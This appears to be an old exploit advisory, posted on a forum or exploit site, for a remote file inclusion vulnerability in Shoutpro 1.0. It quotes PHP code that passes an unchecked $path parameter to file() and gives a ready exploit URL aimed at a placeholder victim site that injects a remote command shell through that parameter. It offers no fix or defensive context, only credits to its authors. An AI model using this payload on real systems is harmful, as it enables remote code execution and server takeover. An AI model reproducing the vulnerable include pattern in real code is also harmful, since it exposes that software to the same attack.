# SaVSaK.CoM | SpC-x - The_BeKiR |

# Shoutpro 1.0 Version - Remote File Include Vulnerability

# Risk : High

# Class: Remote

# Script : Shoutpro

# Credits : SpC-x

# Thanks : The_BeKiR - Ejder - FasTBoY - ERNE - RMx

# Code :

# include("config.php");

# include("functions.php");

# if ($path){

# $ips = file("$path/lists/bannedips.php");

# } else {

# $ips = file("lists/bannedips.php");

# }

# if (in_array($REMOTE_ADDR,$ips)) {

# echo($bannedmessage);

# die;

# }

# Vulnerable :

# http://www.victim.com/Shoutpro/include.php?path=Command-Shell

[ reply ]